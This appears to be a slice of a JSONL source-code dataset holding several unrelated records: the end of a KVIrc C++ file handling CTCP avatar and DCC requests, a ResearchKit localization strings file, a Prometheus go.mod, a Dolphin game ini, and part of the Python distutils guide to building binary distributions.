msg->szTarget))\n\t\t\t{\n\t\t\t\t// channel target\n\t\t\t\tif(KVI_OPTION_BOOL(KviOption_boolIgnoreChannelAvatarRequestsWhenNoAvatarSet))\n\t\t\t\t\tmsg->bIgnored = true;\n\t\t\t}\n\t\t\tif(!msg->bIgnored)\n\t\t\t\treplyCtcp(msg, \"\");\n\t\t}\n\t}\n\telse\n\t\tmsg->bIgnored = true;\n\n\techoCtcpRequest(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpReplyAvatar(KviCtcpMessage * msg)\n{\n\tQString szRemoteFile;\n\tQString szGender;\n\tQString decoded = msg->msg->console()->decodeText(msg->pData);\n\n\tdecoded = extractCtcpParameter(decoded.toUtf8().data(), szRemoteFile, true);\n\tdecoded = extractCtcpParameter(decoded.toUtf8().data(), szGender, true);\n\tszRemoteFile = szRemoteFile.trimmed();\n\n\tbool bPrivate = IS_ME(msg->msg, msg->szTarget);\n\n\tQString textLine;\n\tKviAvatar * avatar = nullptr;\n\n\tbool bResetAvatar = true;\n\n\tQString nickLink = QString(\"\\r!n\\r%1\\r\").arg(msg->pSource->nick());\n\n\tKviIrcUserEntry * e = msg->msg->connection()->userDataBase()->find(msg->pSource->nick());\n\tif(e)\n\t{\n\t\tif((szGender == \"m\") || (szGender == \"M\"))\n\t\t{\n\t\t\te->setGender(KviIrcUserEntry::Male);\n\t\t}\n\t\telse if((szGender == \"f\") || (szGender == \"F\"))\n\t\t{\n\t\t\te->setGender(KviIrcUserEntry::Female);\n\t\t}\n\t\telse\n\t\t{\n\t\t\te->setGender(KviIrcUserEntry::Unknown);\n\t\t}\n\t}\n\n\tQString szWhere = bPrivate ? __tr2qs(\"private\") : __tr2qs(\"channel notification:\");\n\tQString szWhat = bPrivate ? __tr2qs(\"notification\") : msg->szTarget;\n\n\tif(szRemoteFile.isEmpty())\n\t{\n\t\t// avatar unset\n\t\ttextLine = QString(__tr2qs(\"%1 unsets avatar\")).arg(nickLink);\n\t\tif(_OUTPUT_VERBOSE)\n\t\t\tKviQString::appendFormatted(textLine, \" (%Q %Q)\", &szWhere, &szWhat);\n\t}\n\telse\n\t{\n\n\t\t// FIXME: #warning \"The avatar should be the one with the requested size!!\"\n\t\ttextLine = QString(__tr2qs(\"%1 changes avatar to %2\")).arg(nickLink, szRemoteFile);\n\t\tif(_OUTPUT_VERBOSE)\n\t\t\tKviQString::appendFormatted(textLine, \" (%Q %Q)\", &szWhere, &szWhat);\n\n\t\tbool bIsUrl = ((KviQString::equalCIN(\"http://\", szRemoteFile, 7) && (szRemoteFile.length() > 7)) || (KviQString::equalCIN(\"https://\", szRemoteFile, 8) && (szRemoteFile.length() > 8)));\n\t\tif(!bIsUrl)\n\t\t{\n\t\t\t// no hacks\n\t\t\tKviQString::cutToLast(szRemoteFile, '/');\n\t\t\tKviQString::cutToLast(szRemoteFile, '\\\\');\n\t\t}\n\n\t\tavatar = g_pIconManager->getAvatar(QString(), szRemoteFile);\n\n\t\tif((avatar == nullptr) && e)\n\t\t{\n\t\t\t// we have no such file on our HD....\n\t\t\tbResetAvatar = false;\n\t\t\t// request DCC GET ?\n\t\t\tif(KVI_OPTION_BOOL(KviOption_boolRequestMissingAvatars))\n\t\t\t{\n\t\t\t\t// FIXME: #warning \"Request avatars only from registered users ?\"\n\t\t\t\t// FIXME: #warning \"Ask before making the request ?\"\n\t\t\t\tif(bIsUrl)\n\t\t\t\t{\n\t\t\t\t\tQString szLocalFilePath;\n\t\t\t\t\tQString szLocalFile = szRemoteFile;\n\t\t\t\t\tg_pIconManager->urlToCachedFileName(szLocalFile);\n\t\t\t\t\tg_pApp->getLocalKvircDirectory(szLocalFilePath, KviApplication::Avatars, szLocalFile);\n\t\t\t\t\tKviQString::escapeKvs(&szLocalFilePath, KviQString::EscapeSpace);\n\t\t\t\t\tQString szCommand = \"http.get -w=nm \";\n\t\t\t\t\tunsigned int uMaxSize = KVI_OPTION_UINT(KviOption_uintMaximumRequestedAvatarSize);\n\t\t\t\t\tif(uMaxSize > 0)\n\t\t\t\t\t\tKviQString::appendFormatted(szCommand, \"-m=%u \", uMaxSize);\n\t\t\t\t\tszRemoteFile = szRemoteFile.replace(\";\", \"%3B\");\n\t\t\t\t\tszRemoteFile = szRemoteFile.replace(\"\\\"\", \"%22\");\n\t\t\t\t\tszRemoteFile = szRemoteFile.replace(\"\\\\\", \"\\\\\\\\\");\n\t\t\t\t\tszRemoteFile = szRemoteFile.replace(\"$\", \"\\\\$\");\n\t\t\t\t\tszRemoteFile = szRemoteFile.replace(\"%\", \"\\\\%\");\n\t\t\t\t\tszCommand += \"\\\"\" + szRemoteFile + \"\\\"\";\n\t\t\t\t\tszCommand += \" \";\n\t\t\t\t\tszCommand += szLocalFilePath;\n\n\t\t\t\t\tif(KviKvsScript::run(szCommand, msg->msg->console()))\n\t\t\t\t\t{\n\t\t\t\t\t\tif(_OUTPUT_VERBOSE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKviQString::appendFormatted(textLine,\n\t\t\t\t\t\t\t __tr2qs(\": No valid local copy of avatar available, requesting one (HTTP GET %s)\"),\n\t\t\t\t\t\t\t szRemoteFile.toUtf8().data());\n\t\t\t\t\t\t}\n\t\t\t\t\t\tg_pApp->setAvatarOnFileReceived(msg->msg->console(),\n\t\t\t\t\t\t szRemoteFile, msg->pSource->nick(), msg->pSource->user(), msg->pSource->host());\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif(_OUTPUT_VERBOSE)\n\t\t\t\t\t\t\tKviQString::appendFormatted(textLine, __tr2qs(\": No valid local copy of avatar available; failed to start an HTTP transfer, ignoring\"));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif(!checkCtcpFlood(msg))\n\t\t\t\t\t{\n\t\t\t\t\t\tif(_OUTPUT_VERBOSE)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKviQString::appendFormatted(textLine,\n\t\t\t\t\t\t\t __tr2qs(\": No valid local copy of avatar available, requesting one (DCC GET %s)\"),\n\t\t\t\t\t\t\t szRemoteFile.toUtf8().data());\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tQString szFName;\n\t\t\t\t\t\tencodeCtcpParameter(szRemoteFile.toUtf8().data(), szFName);\n\t\t\t\t\t\tmsg->msg->connection()->sendFmtData(\"PRIVMSG %s :%cDCC GET %s%c\",\n\t\t\t\t\t\t msg->msg->connection()->encodeText(msg->pSource->nick()).data(), 0x01, msg->msg->connection()->encodeText(szFName.toUtf8().data()).data(), 0x01);\n\t\t\t\t\t\tg_pApp->setAvatarOnFileReceived(msg->msg->console(),\n\t\t\t\t\t\t szRemoteFile, msg->pSource->nick(), msg->pSource->user(), msg->pSource->host());\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif(_OUTPUT_VERBOSE)\n\t\t\t\t\t\t\tKviQString::appendFormatted(textLine, __tr2qs(\": No valid local copy of avatar available; flood limit exceeded, ignoring\"));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(_OUTPUT_VERBOSE)\n\t\t\t\t\tKviQString::appendFormatted(textLine, __tr2qs(\": No valid local copy of avatar available, ignoring\"));\n\t\t\t}\n\t\t}\n\t}\n\n\tif(!e)\n\t{\n\t\tif(_OUTPUT_VERBOSE)\n\t\t\tKviQString::appendFormatted(textLine, __tr2qs(\": No such nickname in the user database, ignoring the change\"));\n\t\tmsg->msg->console()->outputNoFmt(KVI_OUT_AVATAR, textLine);\n\t\treturn;\n\t}\n\n\tif(bResetAvatar)\n\t\te->setAvatar(avatar);\n\n\tmsg->msg->console()->avatarChanged(avatar, msg->pSource->nick(), msg->pSource->user(), msg->pSource->host(),\n\t msg->msg->haltOutput() ? QString() : textLine);\n}\n\nusing dccModuleCtcpDccParseRoutine = void (*)(KviDccRequest *);\n\nvoid KviIrcServerParser::parseCtcpRequestDcc(KviCtcpMessage * msg)\n{\n\tKviDccRequest p;\n\tKviCString aux = msg->pData;\n\tmsg->pData = extractCtcpParameter(msg->pData, p.szType, true, true);\n\tmsg->pData = extractCtcpParameter(msg->pData, p.szParam1);\n\tmsg->pData = extractCtcpParameter(msg->pData, p.szParam2);\n\tmsg->pData = extractCtcpParameter(msg->pData, p.szParam3);\n\tmsg->pData = extractCtcpParameter(msg->pData, p.szParam4);\n\tmsg->pData = extractCtcpParameter(msg->pData, p.szParam5);\n\tp.ctcpMsg = msg;\n\tp.bIPv6 = msg->msg->console()->isIPv6Connection();\n\tp.pConsole = msg->msg->console();\n\n\tKviRegisteredUser * u = msg->msg->connection()->userDataBase()->registeredUser(msg->pSource->nick(), msg->pSource->user(), msg->pSource->host());\n\n\tif(u)\n\t{\n\t\tif(u->isIgnoreEnabledFor(KviRegisteredUser::Dcc))\n\t\t{\n\t\t\tif(KVI_OPTION_BOOL(KviOption_boolVerboseIgnore))\n\t\t\t{\n\t\t\t\tmsg->msg->console()->output(KVI_OUT_DCCREQUEST,\n\t\t\t\t __tr2qs(\"Ignoring DCC %S request from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r] (%Q %S)\"),\n\t\t\t\t &p.szType, &(msg->pSource->nick()),\n\t\t\t\t &(msg->pSource->user()), &(msg->pSource->host()),\n\t\t\t\t &msg->szTag, &aux);\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t}\n\n\tbool bIsFlood = checkCtcpFlood(msg);\n\n\tif(bIsFlood && ((kvi_strEqualCI(p.szType.ptr(), \"SEND\")) || (kvi_strEqualCI(p.szType.ptr(), \"RSEND\")) || (kvi_strEqualCI(p.szType.ptr(), \"TSEND\")) || (kvi_strEqualCI(p.szType.ptr(), \"TRSEND\"))))\n\t{\n\t\t// don't consider as flood the avatars we have requested\n\t\tif(g_pApp->findPendingAvatarChange(msg->msg->console(), msg->pSource->nick(), p.szParam1.ptr()))\n\t\t\tbIsFlood = false;\n\t}\n\n\tif(!bIsFlood)\n\t{\n\t\tif(!msg->msg->haltOutput())\n\t\t{\n\t\t\tQString decoded = msg->msg->console()->decodeText(p.szType.ptr());\n\t\t\tmsg->msg->console()->output(KVI_OUT_DCCREQUEST,\n\t\t\t __tr2qs(\"Processing DCC %Q request from \\r!n\\r%Q\\r [%Q@\\r!h\\r%Q\\r] (%s %s)\"),\n\t\t\t &decoded, &(msg->pSource->nick()),\n\t\t\t &(msg->pSource->user()), &(msg->pSource->host()),\n\t\t\t msg->szTag.toUtf8().data(),\n\t\t\t msg->msg->console()->decodeText(aux).toUtf8().data());\n\t\t}\n\n\t\tKviModule * m = g_pModuleManager->getModule(\"dcc\");\n\t\tif(!m)\n\t\t{\n\t\t\tmsg->msg->console()->output(KVI_OUT_DCCERROR,\n\t\t\t __tr2qs(\"Unable to process the above request: can't load DCC module (%Q)\"), &(g_pModuleManager->lastError()));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdccModuleCtcpDccParseRoutine proc = (dccModuleCtcpDccParseRoutine)m->getSymbol(\"dccModuleCtcpDccParseRoutine\");\n\t\t\tif(!proc)\n\t\t\t{\n\t\t\t\tmsg->msg->console()->outputNoFmt(KVI_OUT_DCCERROR,\n\t\t\t\t __tr2qs(\"Unable to process the above request: DCC module may be broken\"));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tproc(&p);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t// That's flood\n\t\techoCtcpRequest(msg);\n\t}\n}\n\nvoid KviIrcServerParser::parseCtcpReplyUserinfo(KviCtcpMessage * msg)\n{\n\tQString szRemoteFile;\n\tQString szGender;\n\tQString decoded = msg->msg->console()->decodeText(msg->pData);\n\n\tbool bNeedToUpdateUserlist = false;\n\tKviIrcUserEntry * e = msg->msg->connection()->userDataBase()->find(msg->pSource->nick());\n\tif(e)\n\t{\n\t\tint pos = decoded.indexOf(\"Gender=\", 0, Qt::CaseInsensitive);\n\n\t\tif(pos >= 0)\n\t\t{\n\t\t\tQChar c = decoded[pos + 7];\n\t\t\tswitch(c.unicode())\n\t\t\t{\n\t\t\t\tcase 'F':\n\t\t\t\tcase 'f':\n\t\t\t\t\tbNeedToUpdateUserlist = true;\n\t\t\t\t\te->setGender(KviIrcUserEntry::Female);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'M':\n\t\t\t\tcase 'm':\n\t\t\t\t\tbNeedToUpdateUserlist = true;\n\t\t\t\t\te->setGender(KviIrcUserEntry::Male);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif(bNeedToUpdateUserlist)\n\t{\n\t\tif(KviQString::equalCS(g_pActiveWindow->metaObject()->className(), QString(\"KviChannelWindow\")))\n\t\t{\n\t\t\t((KviChannelWindow *)g_pActiveWindow)->userListView()->updateArea();\n\t\t}\n\t}\n\n\techoCtcpReply(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpReplyGeneric(KviCtcpMessage * msg)\n{\n\techoCtcpReply(msg);\n}\n\nvoid KviIrcServerParser::parseCtcpReplyLagcheck(KviCtcpMessage * msg)\n{\n\t// this is an internal CTCP used for checking lag\n\tKviCString szTag;\n\tmsg->pData = extractCtcpParameter(msg->pData, szTag, true);\n\tif(msg->msg->console()->connection()->lagMeter())\n\t\tmsg->msg->console()->connection()->lagMeter()->lagCheckComplete(szTag.ptr());\n}\n\n//ERRORMSG,ECHO,ERRMSG\n//SED,DCC,SOUND/MULTIMEDIA/MM,SCRIPT\n"} {"text": "/*\nCopyright (c) 2015, Apple Inc. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation and/or\nother materials provided with the distribution.\n\n3. Neither the name of the copyright holder(s) nor the names of any contributors\nmay be used to endorse or promote products derived from this software without\nspecific prior written permission. No license is granted to the trademarks of\nthe copyright holders even if such marks are included in this software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n\".OnlyInDocument Scene\" = \".OnlyInDocument Scene\";\n\n\".OnlyInDocument Scene Summary\" = \".OnlyInDocument Scene Summary\";\n\n\"Additional text can go here.\" = \"Additional text can go here.\";\n\n\"Appleseed\" = \"Appleseed\";\n\n\"Audio Active Task\" = \"Audio Active Task\";\n\n\"Boolean Question\" = \"Boolean Question\";\n\n\"Choice 1\" = \"Choice 1\";\n\n\"Choice 2\" = \"Choice 2\";\n\n\"Choice 3\" = \"Choice 3\";\n\n\"Consent\" = \"Consent\";\n\n\"Date and Time Question\" = \"Date and Time Question\";\n\n\"Date Question\" = \"Date Question\";\n\n\"Example Consent\" = \"Example Consent\";\n\n\"Field01\" = \"Field01\";\n\n\"Field02\" = \"Field02\";\n\n\"Fitness Check Active Task\" = \"Fitness Check Active Task\";\n\n\"Form\" = \"Form\";\n\n\"I agree to participate in this research study.\" = \"I agree to participate in this research study.\";\n\n\"Image Choice Question\" = \"Image Choice Question\";\n\n\"Institution\" = \"Institution\";\n\n\"Institution and its partners\" = \"Institution and its partners\";\n\n\"Investigator\" = \"Investigator\";\n\n\"Jonny\" = \"Jonny\";\n\n\"Numeric Question\" = \"Numeric Question\";\n\n\"Participant\" = \"Participant\";\n\n\"Placeholder without unit.\" = \"Placeholder without unit.\";\n\n\"Round Shape\" = \"Round Shape\";\n\n\"Sample Survey\" = \"Sample Survey\";\n\n\"Scale Question\" = \"Scale Question\";\n\n\"Short Walk Active Task\" = \"Short Walk Active Task\";\n\n\"Simple Survey\" = \"Simple Survey\";\n\n\"Spatial Span Memory Active Task\" = \"Spatial Span Memory Active Task\";\n\n\"Square Shape\" = \"Square Shape\";\n\n\"Text Choice Question\" = \"Text Choice Question\";\n\n\"Text Question\" = \"Text Question\";\n\n\"Thank you for participating in this sample survey.\" = \"Thank you for participating in this sample survey.\";\n\n\"Thanks\" = \"Thanks\";\n\n\"Time Interval Question\" = \"Time Interval Question\";\n\n\"Time of Day Question\" = \"Time of Day Question\";\n\n\"Two Finger Tapping Interval Active Task\" = \"Two Finger Tapping Interval Active Task\";\n\n\"Value Picker Choice Question\" = \"Value Picker Choice Question\";\n\n\"Would you like to subscribe to our newsletter?\" = \"Would you like to subscribe to our newsletter?\";\n\n\"Your description goes here.\" = \"Your description goes here.\";\n\n\"Your more specific voice instruction goes here. For example, say 'Aaaah'.\" = \"Your more specific voice instruction goes here. For example, say 'Aaaah'.\";\n\n\"Your placeholder here\" = \"Your placeholder here\";\n\n\"Your placeholder.\" = \"Your placeholder.\";\n\n\"Your question goes here.\" = \"Your question here.\";\n\n\"High Value\" = \"High Value\";\n\n\"Low Value\" = \"Low Value\";\n\n\"Your sharing learn more content here.\" = \"Your sharing learn more content here.\";\n\n\"Your unit\" = \"Your unit\";"} {"text": "module github.com/prometheus/client_golang\n\nrequire (\n\tgithub.com/beorn7/perks v1.0.1\n\tgithub.com/cespare/xxhash/v2 v2.1.1\n\tgithub.com/golang/protobuf v1.4.2\n\tgithub.com/json-iterator/go v1.1.10\n\tgithub.com/kr/pretty v0.1.0 // indirect\n\tgithub.com/prometheus/client_model v0.2.0\n\tgithub.com/prometheus/common v0.10.0\n\tgithub.com/prometheus/procfs v0.1.3\n\tgithub.com/stretchr/testify v1.4.0 // indirect\n\tgolang.org/x/sys v0.0.0-20200615200032-f1bc736245b1\n\tgopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect\n\tgopkg.in/yaml.v2 v2.2.5 // indirect\n)\n\ngo 1.11\n"} {"text": "# WTUEKN - Tumblebugs 2\n\n[Core]\n# Values set here will override the main Dolphin settings.\n\n[EmuState]\n# The Emulation State. 1 is worst, 5 is best, 0 is not set.\nEmulationIssues =\nEmulationStateId = 4\n\n[OnLoad]\n# Add memory patches to be loaded once on boot here.\n\n[OnFrame]\n# Add memory patches to be applied every frame here.\n\n[ActionReplay]\n# Add action replay cheats here.\n\n[Video_Settings]\nUseXFB = True\nUseRealXFB = False\n"} {"text": ".. _built-dist:\n\n****************************\nCreating Built Distributions\n****************************\n\nA \"built distribution\" is what you're probably used to thinking of either as a\n\"binary package\" or an \"installer\" (depending on your background). It's not\nnecessarily binary, though, because it might contain only Python source code\nand/or byte-code; and we don't call it a package, because that word is already\nspoken for in Python. (And \"installer\" is a term specific to the world of\nmainstream desktop systems.)\n\nA built distribution is how you make life as easy as possible for installers of\nyour module distribution: for users of RPM-based Linux systems, it's a binary\nRPM; for Windows users, it's an executable installer; for Debian-based Linux\nusers, it's a Debian package; and so forth. Obviously, no one person will be\nable to create built distributions for every platform under the sun, so the\nDistutils are designed to enable module developers to concentrate on their\nspecialty---writing code and creating source distributions---while an\nintermediary species called *packagers* springs up to turn source distributions\ninto built distributions for as many platforms as there are packagers.\n\nOf course, the module developer could be his own packager; or the packager could\nbe a volunteer \"out there\" somewhere who has access to a platform which the\noriginal developer does not; or it could be software periodically grabbing new\nsource distributions and turning them into built distributions for as many\nplatforms as the software has access to. Regardless of who they are, a packager\nuses the setup script and the :command:`bdist` command family to generate built\ndistributions.\n\nAs a simple example, if I run the following command in the Distutils source\ntree::\n\n python setup.py bdist\n\nthen the Distutils builds my module distribution (the Distutils itself in this\ncase), does a \"fake\" installation (also in the :file:`build` directory), and\ncreates the default type of built distribution for my platform. The default\nformat for built distributions is a \"dumb\" tar file on Unix, and a simple\nexecutable installer on Windows. (That tar file is considered \"dumb\" because it\nhas to be unpacked in a specific location to work.)\n\nThus, the above command on a Unix system creates\n:file:`Distutils-1.0.{plat}.tar.gz`; unpacking this tarball from the right place\ninstalls the Distutils just as though you had downloaded the source distribution\nand run ``python setup.py install``. (The \"right place\" is either the root of\nthe filesystem or Python's :file:`{prefix}` directory, depending on the options\ngiven to the :command:`bdist_dumb` command; the default is to make dumb\ndistributions relative to :file:`{prefix}`.)\n\nObviously, for pure Python distributions, this isn't any simpler than just\nrunning ``python setup.py install``\\ ---but for non-pure distributions, which\ninclude extensions that would need to be compiled, it can mean the difference\nbetween someone being able to use your extensions or not. And creating \"smart\"\nbuilt distributions, such as an RPM package or an executable installer for\nWindows, is far more convenient for users even if your distribution doesn't\ninclude any extensions.\n\nThe :command:`bdist` command has a :option:`--formats` option, similar to the\n:command:`sdist` command, which you can use to select the types of built\ndistribution to generate: for example, ::\n\n python setup.py bdist --format=zip\n\nwould, when run on a Unix system, create :file:`Distutils-1.0.{plat}.zip`\\\n---again, this archive would be unpacked from the root directory to install the\nDistutils.\n\nThe available formats for built distributions are:\n\n+-------------+------------------------------+---------+\n| Format | Description | Notes |\n+=============+==============================+=========+\n| ``gztar`` | gzipped tar file | (1),(3) |\n| | (:file:`.tar.gz`) | |\n+-------------+------------------------------+---------+\n| ``ztar`` | compressed tar file | \\(3) |\n| | (:file:`.tar.Z`) | |\n+-------------+------------------------------+---------+\n| ``tar`` | tar file (:file:`.tar`) | \\(3) |\n+-------------+------------------------------+---------+\n| ``zip`` | zip file (:file:`.zip`) | (2),(4) |\n+-------------+------------------------------+---------+\n| ``rpm`` | RPM | \\(5) |\n+-------------+------------------------------+---------+\n| ``pkgtool`` | Solaris :program:`pkgtool` | |\n+-------------+------------------------------+---------+\n| ``sdux`` | HP-UX :program:`swinstall` | |\n+-------------+------------------------------+---------+\n| ``wininst`` | self-extracting ZIP file for | \\(4) |\n| | Windows | |\n+-------------+------------------------------+---------+\n| ``msi`` | Microsoft Installer. | |\n+-------------+------------------------------+---------+\n\n\nNotes:\n\n(1)\n default on Unix\n\n(2)\n default on Windows\n\n(3)\n requires external utilities: :program:`tar` and possibly one of :program:`gzip`,\n :program:`bzip2`, or :program:`compress`\n\n(4)\n requires either external :program:`zip` utility or :mod:`zipfile` module (part\n of the standard Python library since Python 1.6)\n\n(5)\n requires external :program:`rpm` utility, version 3.0.4 or better (use ``rpm\n --version`` to find out which version you have)\n\nYou don't have to use the :command:`bdist` command with the :option:`--formats`\noption; you can also use the command that directly implements the format you're\ninterested in. Some of these :command:`bdist` \"sub-commands\" actually generate\nseveral similar formats; for instance, the :command:`bdist_dumb` command\ngenerates all the \"dumb\" archive formats (``tar``, ``ztar``, ``gztar``, and\n``zip``), and :command:`bdist_rpm` generates both binary and source RPMs. The\n:command:`bdist` sub-commands, and the formats generated by each, are:\n\n+--------------------------+-----------------------+\n| Command | Formats |\n+==========================+=======================+\n| :command:`bdist_dumb` | tar, ztar, gztar, zip |\n+--------------------------+-----------------------+\n| :command:`bdist_rpm` | rpm, srpm |\n+--------------------------+-----------------------+\n| :command:`bdist_wininst` | wininst |\n+--------------------------+-----------------------+\n| :command:`bdist_msi` | msi |\n+--------------------------+-----------------------+\n\nThe following sections give details on the individual :command:`bdist_\\*`\ncommands.\n\n\n.. .. _creating-dumb:\n\n.. Creating dumb built distributions\n.. =================================\n\n.. XXX Need to document absolute vs. prefix-relative packages here, but first\n I have to implement it!\n\n\n.. _creating-rpms:\n\nCreating RPM packages\n=====================\n\nThe RPM format is used by many popular Linux distributions, including Red Hat,\nSuSE, and Mandrake. If one of these (or any of the other RPM-based Linux\ndistributions) is your usual environment, creating RPM packages for other users\nof that same distribution is trivial. Depending on the complexity of your module\ndistribution and differences between Linux distributions, you may also be able\nto create RPMs that work on different RPM-based distributions.\n\nThe usual way to create an RPM of your module distribution is to run the\n:command:`bdist_rpm` command::\n\n python setup.py bdist_rpm\n\nor the :command:`bdist` command with the :option:`--format` option::\n\n python setup.py bdist --formats=rpm\n\nThe former allows you to specify RPM-specific options; the latter allows you to\neasily specify multiple formats in one run. If you need to do both, you can\nexplicitly specify multiple :command:`bdist_\\*` commands and their options::\n\n python setup.py bdist_rpm --packager=\"John Doe <jdoe@example.org>\" \\\n bdist_wininst --target-version=\"2.0\"\n\nCreating RPM packages is driven by a :file:`.spec` file, much as using the\nDistutils is driven by the setup script. To make your life easier, the\n:command:`bdist_rpm` command normally creates a :file:`.spec` file based on the\ninformation you supply in the setup script, on the command line, and in any\nDistutils configuration files. Various options and sections in the\n:file:`.spec` file are derived from options in the setup script as follows:\n\n+------------------------------------------+----------------------------------------------+\n| RPM :file:`.spec` file option or section | Distutils setup script option |\n+==========================================+==============================================+\n| Name | :option:`name` |\n+------------------------------------------+----------------------------------------------+\n| Summary (in preamble) | :option:`description` |\n+------------------------------------------+----------------------------------------------+\n| Version | :option:`version` |\n+------------------------------------------+----------------------------------------------+\n| Vendor | :option:`author` and :option:`author_email`, |\n| | or --- & :option:`maintainer` and |\n| | :option:`maintainer_email` |\n+------------------------------------------+----------------------------------------------+\n| Copyright | :option:`license` |\n+------------------------------------------+----------------------------------------------+\n| Url | :option:`url` |\n+------------------------------------------+----------------------------------------------+\n| %description (section) | :option:`long_description` |\n+------------------------------------------+----------------------------------------------+\n\nAdditionally, there are many options in :file:`.spec` files that don't have\ncorresponding options in the setup script. Most of these are handled through\noptions to the :command:`bdist_rpm` command as follows:\n\n+-------------------------------+-----------------------------+-------------------------+\n| RPM :file:`.spec` file option | :command:`bdist_rpm` option | default value |\n| or section | | |\n+===============================+=============================+=========================+\n| Release | :option:`release` | \"1\" |\n+-------------------------------+-----------------------------+-------------------------+\n| Group | :option:`group` | \"Development/Libraries\" |\n+-------------------------------+-----------------------------+-------------------------+\n| Vendor | :option:`vendor` | (see above) |\n+-------------------------------+-----------------------------+-------------------------+\n| Packager | :option:`packager` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| Provides | :option:`provides` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| Requires | :option:`requires` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| Conflicts | :option:`conflicts` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| Obsoletes | :option:`obsoletes` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| Distribution | :option:`distribution_name` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| BuildRequires | :option:`build_requires` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n| Icon | :option:`icon` | (none) |\n+-------------------------------+-----------------------------+-------------------------+\n\nObviously, supplying even a few of these options on the command-line would be\ntedious and error-prone, so it's usually best to put them in the setup\nconfiguration file, :file:`setup.cfg`\\ ---see section :ref:`setup-config`. If\nyou distribute or package many Python module distributions, you might want to\nput options that apply to all of them in your personal Distutils configuration\nfile (:file:`~/.pydistutils.cfg`).\n\nThere are three steps to building a binary RPM package, all of which are\nhandled automatically by the Distutils:\n\n#. create a :file:`.spec` file, which describes the package (analogous to the\n Distutils setup script; in fact, much of the information in the setup script\n winds up in the :file:`.spec` file)\n\n#. create the source RPM\n\n#. create the \"binary\" RPM (which may or may not contain binary code, depending\n on whether your module distribution contains Python extensions)\n\nNormally, RPM bundles the last two steps together; when you use the Distutils,\nall three steps are typically bundled together.\n\nIf you wish, you can separate these three steps. You can use the\n:option:`--spec-only` option to make :command:`bdist_rpm` just create the\n:file:`.spec` file and exit; in this case, the :file:`.spec` file will be\nwritten to the \"distribution directory\"---normally :file:`dist/`, but\ncustomizable with the :option:`--dist-dir` option. (Normally, the :file:`.spec`\nfile winds up deep in the \"build tree,\" in a temporary directory created by\n:command:`bdist_rpm`.)\n\n.. % \\XXX{this isn't implemented yet---is it needed?!}\n.. % You can also specify a custom \\file{.spec} file with the\n.. % \\longprogramopt{spec-file} option; used in conjunction with\n.. % \\longprogramopt{spec-only}, this gives you an opportunity to customize\n.. % the \\file{.spec} file manually:\n.. %\n.. % \\ begin{verbatim}\n.. % > python setup.py bdist_rpm --spec-only\n.. % # ...edit dist/FooBar-1.0.spec\n.. % > python setup.py bdist_rpm --spec-file=dist/FooBar-1.0.spec\n.. % \\ end{verbatim}\n.. %\n.. % (Although a better way to do this is probably to override the standard\n.. % \\command{bdist\\_rpm} command with one that writes whatever else you want\n.. % to the \\file{.spec} file.)\n\n\n.. _creating-wininst:\n\nCreating Windows Installers\n===========================\n\nExecutable installers are the natural format for binary distributions on\nWindows. They display a nice graphical user interface, display some information\nabout the module distribution to be installed taken from the metadata in the\nsetup script, let the user select a few options, and start or cancel the\ninstallation.\n\nSince the metadata is taken from the setup script, creating Windows installers\nis usually as easy as running::\n\n python setup.py bdist_wininst\n\nor the :command:`bdist` command with the :option:`--formats` option::\n\n python setup.py bdist --formats=wininst\n\nIf you have a pure module distribution (only containing pure Python modules and\npackages), the resulting installer will be version independent and have a name\nlike :file:`foo-1.0.win32.exe`. These installers can even be created on Unix\nplatforms or Mac OS X.\n\nIf you have a non-pure distribution, the extensions can only be created on a\nWindows platform, and will be Python version dependent. The installer filename\nwill reflect this and now has the form 